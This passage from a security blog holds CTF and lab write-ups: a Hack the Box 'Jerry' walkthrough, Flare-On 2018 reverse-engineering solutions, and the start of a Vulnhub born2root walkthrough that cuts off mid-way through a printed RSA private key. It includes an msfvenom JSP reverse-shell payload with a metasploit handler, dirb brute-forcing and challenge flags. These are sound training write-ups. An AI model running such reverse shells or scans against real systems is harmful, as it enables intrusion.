retired <a href="https://www.hackthebox.com/home/machines/profile/144">Jerry</a> machine.</p>
<h1>Hack the Box</h1>
<p>In 2018 I started to play with <a href="www.hackthebox.com">Hack the box</a>. The principle
is similar to the <a href="https://www.vulnhub.com/about/">vulnhub</a> machines: You got a
VM and have to root it. The main difference is that you are connected to a VPN
nd the machines are shared between the users. Also, there is only 20 "active" VM
at a time. At the moment there is a total of 128 VM and therefore 108 retired.
Finally, nobody is publishing Writeup before the VM is retired.</p>
<p>One of the Drawback is that I completely forgot to write and publish this
writeup.</p>
<p>The Jerry machine is Windows server. This VM is classified as a trivial one. In
fact it is a really easy one.</p>
<h1>Network discovery</h1>
<p>As usual, we start with a simple network scan using nmap in order to scan the
open TCP ports: Only the port 8080 is open with an HTTP service.</p>
<div class="highlight"><pre><span></span><code>root@kalili:~# nmap -p- 10.10.10.95 -sSV
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-03 17:38 CET
Nmap scan report for 10.10.10.95
Host is up (0.019s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 112.41 seconds
</code></pre></div>
<p>When going to this page we see a simple Tomcat Application Manager.</p>
<p><img alt="Tomcat application manager" class="image-process-article-image" src="/media/2019.09/derivatives/article-image/jerry_2.png"/></p>
<h1>Exploiting the administration interface</h1>
<p>We generate a Java reverse shell payload using <code>msfvenom</code>:</p>
<div class="highlight"><pre><span></span><code>root@kalili:~# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.15.14 LPORT=4444 -f war > reverse2.war
</code></pre></div>
<p>We start the handler using <code>metasploit</code>:</p>
<div class="highlight"><pre><span></span><code>msf exploit(multi/handler) > use exploit/multi/handler
msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (java/jsp_shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.15.14 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
SHELL no The system shell to use.
Exploit target:
Id Name
-- ----
0 Wildcard Target
</code></pre></div>
<p>When running the War payload we got a shell as Administrator and we can start
listing the directories looking for the flags:</p>
<div class="highlight"><pre><span></span><code>C:\apache-tomcat-7.0.88>dir c:\Users
dir c:\Users
Volume in drive C has no label.
Volume Serial Number is FC2B-E489
Directory of c:\Users
06/18/2018 10:31 PM <dir> .
06/18/2018 10:31 PM <dir> ..
06/18/2018 10:31 PM <dir> Administrator
08/22/2013 05:39 PM <dir> Public
0 File(s) 0 bytes
4 Dir(s) 27,600,285,696 bytes free
C:\apache-tomcat-7.0.88>dir c:\Users\Administrator\Desktop\
dir c:\Users\Administrator\Desktop\
Volume in drive C has no label.
Volume Serial Number is FC2B-E489
Directory of c:\Users\Administrator\Desktop
06/19/2018 06:09 AM <dir> .
06/19/2018 06:09 AM <dir> ..
06/19/2018 06:09 AM <dir> flags
0 File(s) 0 bytes
3 Dir(s) 27,600,269,312 bytes free
C:\apache-tomcat-7.0.88>dir c:\Users\Administrator\Desktop\flags
dir c:\Users\Administrator\Desktop\flags
Volume in drive C has no label.
Volume Serial Number is FC2B-E489
</dir></dir></dir></dir></dir></dir></dir></code></pre></div>
<p>As we already are administrator we can read the flag for the two level:</p>
<div class="highlight"><pre><span></span><code>Directory of c:\Users\Administrator\Desktop\flags
06/19/2018 06:09 AM <dir> .
06/19/2018 06:09 AM <dir> ..
06/19/2018 06:11 AM 88 2 for the price of 1.txt
1 File(s) 88 bytes
2 Dir(s) 27,600,269,312 bytes free
C:\apache-tomcat-7.0.88>type c:\Users\Administrator\Desktop\flags\2*
type c:\Users\Administrator\Desktop\flags\2*
user.txt
7004dbcef0f854e0fb401875f26ebd00
root.txt
04a8b36e1545a455393d067e772fe90e
</dir></dir></code></pre></div>Flare-on Challenge 20182018-10-07T11:43:00+02:002018-10-07T11:43:00+02:00maggicktag:maggick.fr,2018-10-07:/2018/10/flare-on-challenge-2018.html<p>The fifth edition of the FireEye's Flare-on reverse challenge take place this year between
august 24th and the 5th octobe with a total of 12 challenges centered on Windows
binaries.</p>
<p>The fifth edition of the FireEye's Flare-on reverse challenge take place this year between
august 24th and the 5th octobe with a total of 12 challenges centered on Windows
binaries.</p>
<h2>Minesweeper Championship Registration</h2>
<blockquote>
<p>Welcome to the Fifth Annual Flare-On Challenge! The Minesweeper World
Championship is coming soon and we found the registration app. You weren't
officially invited but if you can figure out what the code is you can probably
get in anyway. Good luck!</p>
</blockquote>
<p><a href="/media/2018.10/flare/MinesweeperChampionshipRegistration.7z">Download the challenge</a></p>
<p>We download the 7z and after extraction we got the jar.
We start jd-gui and load the jar.
The <code>InviteValidator</code> class is the following:</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span><span class="w"> </span><span class="nn">javax.swing.JOptionPane</span><span class="p">;</span>
<span class="kd">public</span><span class="w"> </span><span class="kd">class</span> <span class="nc">InviteValidator</span>
<span class="p">{</span>
<span class="w"> </span><span class="kd">public</span><span class="w"> </span><span class="kd">static</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="n">String</span><span class="o">[]</span><span class="w"> </span><span class="n">args</span><span class="p">)</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="n">response</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">JOptionPane</span><span class="p">.</span><span class="na">showInputDialog</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span><span class="w"> </span><span class="s">"Enter your invitation code:"</span><span class="p">,</span><span class="w"> </span><span class="s">"Minesweeper Championship 2018"</span><span class="p">,</span><span class="w"> </span><span class="mi">3</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="na">equals</span><span class="p">(</span><span class="s">"GoldenTicket2018@flare-on.com"</span><span class="p">))</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">JOptionPane</span><span class="p">.</span><span class="na">showMessageDialog</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span><span class="w"> </span><span class="s">"Welcome to the Minesweeper Championship 2018!\nPlease enter the following code to the ctfd.flare-on.com website to compete:\n\n"</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">response</span><span class="p">,</span><span class="w"> </span><span class="s">"Success!"</span><span class="p">,</span><span class="w"> </span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">JOptionPane</span><span class="p">.</span><span class="na">showMessageDialog</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span><span class="w"> </span><span class="s">"Incorrect invitation code. Please try again next year."</span><span class="p">,</span><span class="w"> </span><span class="s">"Failure"</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>We directly got the challenge flag <code>GoldenTicket2018@flare-on.com</code>.</p>
<h2>Ultimate Minesweeper</h2>
<blockquote>
<p>You hacked your way into the Minesweeper Championship, good job. Now its time to
compete. Here is the Ultimate Minesweeper binary. Beat it, win the championship,
and we'll move you on to greater challenges.</p>
</blockquote>
<p><a href="/media/2018.10/flare/UltimateMinesweeper.7z">Download the challenge</a></p>
<p>Once unzip the file is a 32bits executable binary.
$ file UltimateMinesweeper.exe
UltimateMinesweeper.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows</p>
<p>When executed the program is similar to every Minesweeper execpt there is a LOT
of mines! Only 3 squares of the 900 are not mines. The goal is to reveal this 3
squares with exploding on a mine.</p>
<p><img alt="Capture4.PNG" class="image-process-article-image" src="/media/2018.10/derivatives/article-image/Capture4.PNG"/></p>
<p>We can use a tool like <a href="https://github.com/0xd4d/dnSpy">DnSpy</a> to decompile the
.NET and access the source code.</p>
<p><img alt="Capture5.PNG" class="image-process-article-image" src="/media/2018.10/derivatives/article-image/Capture5.PNG"/></p>
<p>We can even recompile the code. Nevertheless , the line 156 will fire a
compilation error. In order to fix it, we need to convert the value to byte:</p>
<div class="highlight"><pre><span></span><code>array3[(int)num2] = (byte)(array3[(int)num2] ^ array[(int)num]);
</code></pre></div>
<p>We can for instance disable the failure when revealing a mine by changing the
code of the <code>BombRevealed</code> function and make it always return <code>false</code>:</p>
<div class="highlight"><pre><span></span><code><span class="nv">public</span><span class="w"> </span><span class="nv">bool</span><span class="w"> </span><span class="nv">BombRevealed</span>
{
<span class="w"> </span><span class="nv">get</span>
<span class="w"> </span>{
<span class="w"> </span><span class="nv">int</span><span class="w"> </span><span class="nv">num</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="c1">;</span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="ss">((</span><span class="nv">long</span><span class="ss">)</span><span class="nv">num</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="ss">(</span><span class="nv">long</span><span class="ss">)((</span><span class="nv">ulong</span><span class="ss">)</span><span class="nv">this</span>.<span class="nv">Size</span><span class="ss">))</span>
<span class="w"> </span>{
<span class="w"> </span><span class="nv">int</span><span class="w"> </span><span class="nv">num2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="c1">;</span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="ss">((</span><span class="nv">long</span><span class="ss">)</span><span class="nv">num2</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="ss">(</span><span class="nv">long</span><span class="ss">)((</span><span class="nv">ulong</span><span class="ss">)</span><span class="nv">this</span>.<span class="nv">Size</span><span class="ss">))</span>
<span class="w"> </span>{
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="ss">(</span><span class="nv">this</span>.<span class="nv">MinesPresent</span>[<span class="nv">num2</span>,<span class="w"> </span><span class="nv">num</span>]<span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="nv">this</span>.<span class="nv">MinesVisible</span>[<span class="nv">num2</span>,<span class="w"> </span><span class="nv">num</span>]<span class="ss">)</span>
<span class="w"> </span>{
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nv">false</span><span class="c1">;</span>
<span class="w"> </span>}
<span class="w"> </span><span class="nv">num2</span><span class="o">++</span><span class="c1">;</span>
<span class="w"> </span>}
<span class="w"> </span><span class="nv">num</span><span class="o">++</span><span class="c1">;</span>
<span class="w"> </span>}
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nv">false</span><span class="c1">;</span>
<span class="w"> </span>}
}
</code></pre></div>
<p>Then we can clic on every square and get the Success message.</p>
<p><img alt="Capture2.PNG" class="image-process-article-image" src="/media/2018.10/derivatives/article-image/Capture2.PNG"/></p>
<p>The flag seems to be encoded. When looking at the function <code>GetKey</code> we see that
the <code>Random</code> is build using a seed depending of the revealed cells.</p>
<p>We then discover that the mines (and more importently the 3 empty squares) are
always at the same place. So we can just found the position of every empty
squares with our modified binary.</p>
<p><img alt="Capture.PNG" class="image-process-article-image" src="/media/2018.10/derivatives/article-image/Capture.PNG"/></p>
<p>And then just reveal this three squares in order to get the Success message with
the flag.</p>
<p><img alt="Capture3.PNG" class="image-process-article-image" src="/media/2018.10/derivatives/article-image/Capture3.PNG"/></p>
<h2>FLEGGO</h2>
<blockquote>
<p>When you are finished with your media interviews and talk show appearances after
that crushing victory at the Minesweeper Championship, I have another task for
you. Nothing too serious, as you'll see, this one is child's play.</p>
</blockquote>
<p><a href="/media/2018.10/flare/FLEGGO.7z">Download the challenge</a></p>
<p>Once extraxted we get 48 executables. Each binary is a 32bits executable.</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>file<span class="w"> </span>./*
./1BpnGjHOT7h5vvZsV4vISSb60Xj3pX5G.exe:<span class="w"> </span>PE32<span class="w"> </span>executable<span class="w"> </span><span class="o">(</span>console<span class="o">)</span><span class="w"> </span>Intel<span class="w"> </span><span class="m">80386</span>,<span class="w"> </span><span class="k">for</span><span class="w"> </span>MS<span class="w"> </span>Window
</code></pre></div>
<p>When launching any of the executable we get an error about the VCRUNTIME140 DLL
missing.</p>
<p><img alt="Capture6.PNG" class="image-process-article-image" src="/media/2018.10/derivatives/article-image/Capture6.PNG"/></p>
<p>To fix this you just need to install Visual Studio Community Edition.</p>
<p>After a few try using IDA and OllyDBG, I found a hint on <a href="https://twitter.com/ixSly/status/1034842534957203456">twitter</a>:
<img alt="Capture7.PNG" class="image-process-article-image" src="/media/2018.10/derivatives/article-image/Capture7.PNG"/></p>
<div class="highlight"><pre><span></span><code>FLOSS static UTF-16 strings
@BRICK
%s\%s
IronManSucks
Oh, hello Batman...
I super hate you right now.
What is the password?
%15ls
Go step on a brick!
Oh look a rainbow.
Everything is awesome!
%s => %s
BRICK
ZImIT7DyCMOeF6
FLOSS decoded 0 strings
FLOSS extracted 0 stackstrings
Finished execution after 2.266808 seconds
</code></pre></div>
<p>The binary password is given just after the <code>BRICK</code> string.</p>
<div class="highlight"><pre><span></span><code><span class="n">root</span><span class="nv">@kalili</span><span class="err">:</span><span class="o">~/</span><span class="k">work</span><span class="o">/</span><span class="n">fleggo</span><span class="err">#</span><span class="w"> </span><span class="n">wine</span><span class="w"> </span><span class="mi">1</span><span class="n">BpnGjHOT7h5vvZsV4vISSb60Xj3pX5G</span><span class="p">.</span><span class="n">exe</span>
<span class="mi">000</span><span class="nl">f</span><span class="p">:</span><span class="nl">err</span><span class="p">:</span><span class="nl">service</span><span class="p">:</span><span class="n">process_send_command</span><span class="w"> </span><span class="n">receiving</span><span class="w"> </span><span class="n">command</span><span class="w"> </span><span class="k">result</span><span class="w"> </span><span class="n">timed</span><span class="w"> </span><span class="k">out</span>
<span class="n">What</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">password</span><span class="vm">?</span>
<span class="n">ZImIT7DyCMOeF6</span>
<span class="n">Everything</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="n">awesome</span><span class="err">!</span>
<span class="mf">65141174.</span><span class="n">png</span><span class="w"> </span><span class="o">=></span><span class="w"> </span><span class="n">w</span>
</code></pre></div>
<p>An image is created associated to a character.</p>
<p>We can automatized this for the 48 binary:</p>
<div class="highlight"><pre><span></span><code>root@kalili:~/work/fleggo# for f in *exe; do wine $f <<< `./floss $f | grep '^BRICK' -A 1 | grep -v BRICK` ; done
000f:err:service:process_send_command receiving command result timed out
What is the password?
Everything is awesome!
65141174.png => w
000f:err:service:process_send_command receiving command result timed out
What is the password?
Everything is awesome!
85934406.png => m
<snip>
</snip></code></pre></div>
<p>A simple redirection allow to keep the information in a file.
In the corner of each image is the position of the associated charactere.
(for instance the image 85934406.png is associated to the letter "m" and the
number in the right corner is 35 so the "m" is in the 35th position).</p>
<p><img alt="Capture8.PNG" class="image-process-article-image" src="/media/2018.10/derivatives/article-image/Capture8.PNG"/></p>
<p>We might use tesseract in order to automaticaly detect the number in the corner.
But I manualy identify them and got the order of the flag:</p>
<div class="highlight"><pre><span></span><code><span class="n">mor3_awes0m3_th4n_an_awes0me_p0ssum</span><span class="nv">@flare</span><span class="o">-</span><span class="k">on</span><span class="p">.</span><span class="n">com</span>
</code></pre></div>
<h2>binstall</h2>
<blockquote>
<p>It is time to get serious. Reverse Engineering isn't about toys and games.
Sometimes its about malicious software. I recommend you run this next
challenge in a VM or someone else's computer you have gained access to,
especially if they are a Firefox user.</p>
</blockquote>
<p><a href="/media/2018.10/flare/binstall.7z">Download the challenge</a></p>
<p>Once unzip we get a simple executable.</p>
<div class="highlight"><pre><span></span><code><span class="o">$</span><span class="w"> </span><span class="n">file</span><span class="w"> </span><span class="n">binstall</span><span class="o">.</span><span class="n">exe</span>
<span class="n">Downloads</span><span class="o">/</span><span class="n">binstall</span><span class="o">/</span><span class="n">binstall</span><span class="o">.</span><span class="n">exe</span><span class="p">:</span><span class="w"> </span><span class="n">PE32</span><span class="w"> </span><span class="n">executable</span><span class="w"> </span><span class="p">(</span><span class="n">console</span><span class="p">)</span><span class="w"> </span><span class="n">Intel</span><span class="w"> </span><span class="mi">80386</span><span class="w"> </span><span class="n">Mono</span><span class="o">/.</span><span class="n">Net</span><span class="w"> </span><span class="n">assembly</span><span class="p">,</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">MS</span><span class="w"> </span><span class="n">Windows</span>
</code></pre></div>
<p>As said in the descritpion this file is a malware and a lot of AV detect it as
someone uploaded it on <a href="https://www.virustotal.com/#/file/1284211e57621f84118ce28a4df024163f663c6891c9f154883df804b592ee08/detection">virus
total</a>.</p>
<p><img alt="Capture9.PNG" class="image-process-article-image" src="/media/2018.10/derivatives/article-image/Capture9.PNG"/></p>
<p>I didn't get a lot of time to work on this challenge and didn't solve it.</p>
<h1>Contest ending</h1>
<p>The contest is now over and fireEye realse the <a href="https://www.fireeye.com/blog/threat-research/2018/10/2018-flare-on-challenge-solutions.html">solution for all challenges</a>.</p>Vulnhub, born2root2017-11-20T16:00:00+01:002017-11-20T16:00:00+01:00maggicktag:maggick.fr,2017-11-20:/2017/11/vulnhub-born2root.html<p><img alt="Born2root homepage" class="align-left" src="/media/2017.11/born2root/1.png" width="162"/></p>
<p>After the bulldog machine I worked on the <a href="https://www.vulnhub.com/entry/born2root-1,197/">born2root</a> one.
A simple boot2root machine by <a href="https://twitter.com/h4d3sw0rm">Hadi Mene</a>.</p>
<p><img alt="Born2root homepage" class="align-left" src="/media/2017.11/born2root/1.png" width="162"/></p>
<p>After the bulldog machine I worked on the <a href="https://www.vulnhub.com/entry/born2root-1,197/">born2root</a> one.
A simple boot2root machine by <a href="https://twitter.com/h4d3sw0rm">Hadi Mene</a>.</p>
<h2>Discovery</h2>
<p>First we scan all port of the VM:</p>
<div class="highlight"><pre><span></span><code>root@kalili:~# nmap -sSV 10.0.2.5
Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-14 15:43 CET
Nmap scan report for 10.0.2.5
Host is up (0.00036s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
MAC Address: 08:00:27:84:43:C4 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.74 seconds
</code></pre></div>
<p>So we got a SSH service on port 22 and a web service on the port 80.
Let's see what the website propose:</p>
<h2>Web</h2>
<p>The website simulate a company selling security services:</p>
<p><img alt="Landing page" class="image-process-article-image" src="/media/2017.11/born2root/derivatives/article-image/1.png"/></p>
<p>The robots.txt file contain 2 url:</p>
<div class="highlight"><pre><span></span><code>User-agent: *
Disallow: /wordpress-blog
Disallow: /files
</code></pre></div>
<p>The <code>/wordpress-blog</code> lead us to a simple image:</p>
<p><img alt="Troll" class="image-process-article-image" src="/media/2017.11/born2root/derivatives/article-image/2.png"/></p>
<p>The /files give us an empty directory listing:</p>
<p><img alt="Directory listing" class="image-process-article-image" src="/media/2017.11/born2root/derivatives/article-image/4.png"/></p>
<p>We launch <code>dirb</code> against the site:</p>
<div class="highlight"><pre><span></span><code><span class="n">root</span><span class="nv">@kalili</span><span class="err">:</span><span class="o">~</span><span class="err">#</span><span class="w"> </span><span class="n">dirb</span><span class="w"> </span><span class="nl">http</span><span class="p">:</span><span class="o">//</span><span class="mf">10.0.2.5</span><span class="p">)</span>
<span class="o">-----------------</span>
<span class="n">DIRB</span><span class="w"> </span><span class="n">v2</span><span class="mf">.22</span>
<span class="k">By</span><span class="w"> </span><span class="n">The</span><span class="w"> </span><span class="n">Dark</span><span class="w"> </span><span class="n">Raver</span>
<span class="o">-----------------</span>
<span class="nl">START_TIME</span><span class="p">:</span><span class="w"> </span><span class="n">Tue</span><span class="w"> </span><span class="n">Nov</span><span class="w"> </span><span class="mi">14</span><span class="w"> </span><span class="mi">15</span><span class="err">:</span><span class="mi">45</span><span class="err">:</span><span class="mi">36</span><span class="w"> </span><span class="mi">2017</span>
<span class="nl">URL_BASE</span><span class="p">:</span><span class="w"> </span><span class="nl">http</span><span class="p">:</span><span class="o">//</span><span class="mf">10.0.2.5</span><span class="o">/</span>
<span class="nl">WORDLIST_FILES</span><span class="p">:</span><span class="w"> </span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">share</span><span class="o">/</span><span class="n">dirb</span><span class="o">/</span><span class="n">wordlists</span><span class="o">/</span><span class="n">common</span><span class="p">.</span><span class="n">txt</span>
<span class="o">-----------------</span>
<span class="n">GENERATED</span><span class="w"> </span><span class="nl">WORDS</span><span class="p">:</span><span class="w"> </span><span class="mi">4612</span>
<span class="o">----</span><span class="w"> </span><span class="n">Scanning</span><span class="w"> </span><span class="nl">URL</span><span class="p">:</span><span class="w"> </span><span class="nl">http</span><span class="p">:</span><span class="o">//</span><span class="mf">10.0.2.5</span><span class="o">/</span><span class="w"> </span><span class="o">----</span>
<span class="o">==></span><span class="w"> </span><span class="nl">DIRECTORY</span><span class="p">:</span><span class="w"> </span><span class="nl">http</span><span class="p">:</span><span class="o">//</span><span class="mf">10.0.2.5</span><span class="o">/</span><span class="n">files</span><span class="o">/</span>
<span class="o">==></span><span class="w"> </span><span class="nl">DIRECTORY</span><span class="p">:</span><span class="w"> </span><span class="nl">http</span><span class="p">:</span><span class="o">//</span><span class="mf">10.0.2.5</span><span class="o">/</span><span class="n">icons</span><span class="o">/</span>
<span class="o">+</span><span class="w"> </span><span class="nl">http</span><span class="p">:</span><span class="o">//</span><span class="mf">10.0.2.5</span><span class="o">/</span><span class="k">index</span><span class="p">.</span><span class="n">html</span><span class="w"> </span><span class="p">(</span><span class="nl">CODE</span><span class="p">:</span><span class="mi">200</span><span class="o">|</span><span class="k">SIZE</span><span class="err">:</span><span class="mi">5651</span><span class="p">)</span>
<span class="o">==></span><span class="w"> </span><span class="nl">DIRECTORY</span><span class="p">:</span><span class="w"> </span><span class="nl">http</span><span class="p">:</span><span class="o">//</span><span class="mf">10.0.2.5</span><span class="o">/</span><span class="n">manual</span><span class="o">/</span>
<span class="o">+</span><span class="w"> </span><span class="nl">http</span><span class="p">:</span><span class="o">//</span><span class="mf">10.0.2.5</span><span class="o">/</span><span class="n">robots</span><span class="p">.</span><span class="n">txt</span><span class="w"> </span><span class="p">(</span><span class="nl">CODE</span><span class="p">:</span><span class="mi">200</span><span class="o">|</span><span class="k">SIZE</span><span class="err">:</span><span class="mi">57</span><span class="p">)</span>
<span class="o">+</span><span class="w"> </span><span class="nl">http</span><span class="p">:</span><span class="o">//</span><span class="mf">10.0.2.5</span><span class="o">/</span><span class="n">server</span><span class="o">-</span><span class="n">status</span><span class="w"> </span><span class="p">(</span><span class="nl">CODE</span><span class="p">:</span><span class="mi">403</span><span class="o">|</span><span class="k">SIZE</span><span class="err">:</span><span class="mi">296</span><span class="p">)</span>
<span class="o">----</span><span class="w"> </span><span class="n">Entering</span><span class="w"> </span><span class="nl">directory</span><span class="p">:</span><span class="w"> </span><span class="nl">http</span><span class="p">:</span><span class="o">//</span><span class="mf">10.0.2.5</span><span class="o">/</span><span class="n">files</span><span class="o">/</span><span class="w"> </span><span class="o">----</span>
<span class="p">(</span><span class="err">!</span><span class="p">)</span><span class="w"> </span><span class="nl">WARNING</span><span class="p">:</span><span class="w"> </span><span class="n">Directory</span><span class="w"> </span><span class="k">IS</span><span class="w"> </span><span class="n">LISTABLE</span><span class="p">.</span><span class="w"> </span><span class="k">No</span><span class="w"> </span><span class="n">need</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">scan</span><span class="w"> </span><span class="n">it</span><span class="p">.</span><span class="w"> </span><span class="p">(</span><span class="k">Use</span><span class="w"> </span><span class="n">mode</span><span class="w"> </span><span class="s1">'-w'</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="n">want</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">scan</span><span class="w"> </span><span class="n">it</span><span class="w"> </span><span class="n">anyway</span><span class="p">)</span>
<span class="o">----</span><span class="w"> </span><span class="n">Entering</span><span class="w"> </span><span class="nl">directory</span><span class="p">:</span><span class="w"> </span><span class="nl">http</span><span class="p">:</span><span class="o">//</span><span class="mf">10.0.2.5</span><span class="o">/</span><span class="n">icons</span><span class="o">/</span><span class="w"> </span><span class="o">----</span>
<span class="p">(</span><span class="err">!</span><span class="p">)</span><span class="w"> </span><span class="nl">WARNING</span><span class="p">:</span><span class="w"> </span><span class="n">Directory</span><span class="w"> </span><span class="k">IS</span><span class="w"> </span><span class="n">LISTABLE</span><span class="p">.</span><span class="w"> </span><span class="k">No</span><span class="w"> </span><span class="n">need</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">scan</span><span class="w"> </span><span class="n">it</span><span class="p">.</span><span class="w"> </span><span class="p">(</span><span class="k">Use</span><span class="w"> </span><span class="n">mode</span><span class="w"> </span><span class="s1">'-w'</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="n">want</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">scan</span><span class="w"> </span><span class="n">it</span><span class="w"> </span><span class="n">anyway</span><span class="p">)</span>
<span class="o">----</span><span class="w"> </span><span class="n">Entering</span><span class="w"> </span><span class="nl">directory</span><span class="p">:</span><span class="w"> </span><span class="nl">http</span><span class="p">:</span><span class="o">//</span><span class="mf">10.0.2.5</span><span class="o">/</span><span class="n">manual</span><span class="o">/</span><span class="w"> </span><span class="o">----</span>
<span class="o">==></span><span class="w"> </span><span class="nl">DIRECTORY</span><span class="p">:</span><span class="w"> </span><span class="nl">http</span><span class="p">:</span><span class="o">//</span><span class="mf">10.0.2.5</span><span class="o">/</span><span class="n">manual</span><span class="o">/</span><span class="n">da</span><span class="o">/</span>
<span class="o"><</span><span class="n">SNIP</span><span class="o">></span>
</code></pre></div>
<p>It found an interesting directory: <code>icons</code> it contains a lot of icon and a file VDSoyuAXiO.txt:</p>
<div class="highlight"><pre><span></span><code><span class="gh">-----BEGIN RSA PRIVATE KEY-----</span>
<span class="s">MIIEowIBAAKCAQEAoNgGGOyEpn/txphuS2pDA1i2nvRxn6s8DO58QcSsY+/Nm6wC</span>
<span class="s">tprVUPb+fmkKvOf5ntACY7c/5fM4y83+UWPG0l90WrjdaTCPaGAHjEpZYKt0lEc0</span>
<span class="s">FiQkXTvJS4faYHNah/mEvhldgTc59jeX4di0f660mJjF31SA9UgMLQReKd5GKtUx</span>
<span class="s">5m+sQq6L+VyA2/6GD/T3qx35AT4argdk1NZ9ONmj1ZcIp0evVJvUul34zuJZ5mDv</span>
<span class="s">DZuLRR6QpcMLJRGEFZ4qwkMZn7NavEmfX1Yka6mu9iwxkY6iT45YA1C4p7NEi5yI</span>
<span class="s">/P6kDxMfCVELAUaU8fcPolkZ6xLdS6yyThZHHwIDAQABAoIBAAZ+clCTTA/E3n7E</span>
<span class="s">LL/SvH3oGQd16xh9O2FyR4YIQMWQKwb7/OgOfEpWjpPf/dT+sK9eypnoDiZkmYhw</span>
<span class="s">+rGii6Z2wCXhjN7wXPnj1qotXkpu4bgS3+F8+BLjlQ79ny2Busf+pQNf1syexDJS</span>
<span class="s">sEkoDLGTBiubD3Ii4UoF7KfsozihdmQY5qud2c4iE0ioayo2m9XIDreJEB20Q5Ta</span>
<span class="s">lV0G03unv/v7OK3g8dAQHrBR9MXuYiorcwxLAe+Gm1h4XanMKDYM5/jW4JO2ITAn</span>
<span class="s">kPducC9chbM4NqB3ryNCD4YEgx8zWGDt0wjgyfnsF4fiYEI6tqAwWoB0tdqJFXAy</span>
<span class="s">FlQJfYECgYEAz1bFCpGBCApF1k/oaQAyy5tir5NQpttCc0L2U1kiJWNmJSHk/tTX</span>
<span class="s">4+ly0CBUzDkkedY1tVYK7TuH7/tOjh8M1BLa+g+Csb/OWLuMKmpoqyaejmoKkLnB</span>
<span class="s">WVGkcdIulfsW7DWVMS/zA8ixJpt7bvY7Y142gkurxqjLMz5s/xT9geECgYEAxpfC</span>
<span class="s">fGvogWRYUY07OLE/b7oMVOdBQsmlnaKVybuKf3RjeCYhbiRSzKz05NM/1Cqf359l</span>
<span class="s">Wdznq4fkIvr6khliuj8GuCwv6wKn9+nViS18s1bG6Z5UJYSRJRpviCS+9BGShG1s</span>
<span class="s">KOf1fAWNwRcn1UKtdQVvaLBX9kIwcmTBrl+e6P8CgYAtz24Zt6xaqmpjv6QKDxEq</span>
<span class="s">C1rykAnx0+AKt3DVWYxB1oRrD+IYq85HfPzxHzOdK8LzaHDVb/1aDR0r2MqyfAnJ</span>
<span class="s">kaDwPx0RSN++mzGM7ZXSuuWtcaCD+YbOxUsgGuBQIvodlnkwNPfsjhsV/KR5D85v</span>
<span class="s">VhGVGEML0Z+T4ucSNQEOAQKBgQCHedfvUR3Xx0CIwbP4xNHlwiHPecMHcNBObS+J</span>
<span class="s">4ypkMF37BOghXx4tCoA16fbNIhbWUsKtPwm79oQnaNeu+ypiq8RFt78orzMu6JIH</span>
<span class="s">dsRvA2/Gx3/X6Eur6BDV61to3OP6+zqh3TuWU6OUadt+nHIANqj93e7jy9uI7jtC</span>
